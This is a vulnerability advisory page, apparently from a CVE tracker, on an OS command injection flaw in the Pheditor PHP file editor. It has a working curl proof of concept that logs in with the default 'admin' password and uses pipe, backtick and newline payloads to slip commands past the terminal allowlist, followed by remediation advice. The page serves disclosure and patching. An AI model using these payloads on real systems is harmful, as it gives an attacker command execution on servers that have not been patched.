Skip to main content

Pheditor CVE-2026-55578

| EUVDEUVD-2026-49386 HIGH
OS Command Injection (CWE-78)
2026-07-16 https://github.com/pheditor/pheditor GHSA-wg4w-wr5q-6vjc
8.8
CVSS 3.1 · Vendor: https://github.com/pheditor/pheditor
Share

Severity by source

Vendor (https://github.com/pheditor/pheditor) PRIMARY
8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
8.8 HIGH

Network-reachable terminal endpoint, low-complexity metacharacter bypass, one low-privileged authenticated session (PR:L; default password can lower it in practice), no UI, full command execution yields high C/I/A.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/pheditor/pheditor).

CVSS VectorVendor: https://github.com/pheditor/pheditor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 16, 2026 - 20:34 vuln.today
Analysis Generated
Jul 16, 2026 - 20:34 vuln.today
CVE Published
Jul 16, 2026 - 20:10 github-advisory
HIGH 8.8

DescriptionCVE.org

Summary

The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: Pheditor 2.0.1+

The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:

php
$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');

The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, ` `, or newline (0x0A`):

php
if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) {
    echo json_error("Illegal character(s) in command (& ; ||)\n");
    exit;
}

The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.

Bypass 1 - Single pipe |: The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.

Bypass 2 - Backtick ` `: Backtick is not in the blocklist. Payload echo id passes the blocklist and whitelist (starts with echo). The shell executes id` inside backtick substitution.

Bypass 3 - Newline 0x0A: A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.

PoC

Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.

Setup:

bash
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &

Authenticate (default password admin):

bash
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')

Bypass 1 (pipe |):

bash
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls | id" \
  --data-urlencode "dir="

Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...} - id output proves RCE.

Bypass 2 (backtick):

bash
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

Expected: Same id output in response.

Bypass 3 (newline 0x0A):

bash
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode $'command=ls\nid' \
  --data-urlencode "dir="

Expected: Same id output in response.

Control (blocked command without bypass):

bash
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=whoami" \
  --data-urlencode "dir="

Expected: {"error":true,"message":"Command not allowed..."} - allowlist enforced.

Cleanup:

bash
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 - that fix addressed $() substitution but three additional shell metacharacters remain unblocked.

Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.

Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).

Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.

AnalysisAI

OS command injection in Pheditor 2.0.1 through 2.0.5 lets an authenticated user with the default-enabled terminal permission bypass the TERMINAL_COMMANDS allowlist and run arbitrary shell commands as the web server user. The flaw is an incomplete fix for GHSA-9643-6xjp-vx57: the sanitization blocklist added $ but still misses the single pipe |, backtick, and newline (0x0A), each of which starts with a whitelisted prefix and slips past both filters. A fully working exploit is published in the GHSA advisory, and because Pheditor ships with the default password admin, the required authentication is frequently trivial to obtain, effectively lowering the barrier to unauthenticated RCE.

Technical ContextAI

Pheditor is a single-file PHP web-based file editor/manager (distributed as the Composer package pheditor/pheditor). Its terminal handler takes $_POST['command'] and concatenates it into a shell string executed via shell_exec() at pheditor.php:586: shell_exec('cd ' . escapeshellarg($dir) . ' && ' . $command . ' && echo \ ; pwd'). Two controls are supposed to constrain this: a metacharacter blocklist at pheditor.php:557 (rejecting &, ;, ||, and $) and a prefix allowlist at pheditor.php:566-573 that only checks the command begins with a name in TERMINAL_COMMANDS. The root cause is CWE-78 (OS Command Injection) driven by blocklist-based sanitization: because $command is placed unescaped into a shell invocation, any shell metacharacter not explicitly enumerated - here |, backtick, and the newline byte - permits command chaining or substitution while the payload still begins with an allowed token (e.g. ls, echo), defeating the prefix check.

RemediationAI

Vendor-released patch: 2.0.6 - upgrade to Pheditor 2.0.6 or later, which hardens the command execution filter by blocking additional unsafe characters including the pipe, backtick, and newline sequences (per the 2.0.6 release notes at https://github.com/pheditor/pheditor/releases/tag/2.0.6 and advisory GHSA-wg4w-wr5q-6vjc). If immediate upgrade is not possible, disable the terminal permission for all users (it is enabled by default) to remove the vulnerable code path entirely - the trade-off is loss of in-app shell functionality. Additionally, change the default admin password immediately, since it collapses the PR:L requirement, and restrict network access to the Pheditor endpoint (authentication gateway, IP allowlist, or VPN) so the handler is not broadly reachable; the trade-off is added access friction for legitimate operators. The vendor's own suggested code-level fix is to parse the command into executable plus arguments, exact-match the executable against TERMINAL_COMMANDS, and use escapeshellarg() per argument or proc_open() with an argument array to avoid shell interpretation.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-55578 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy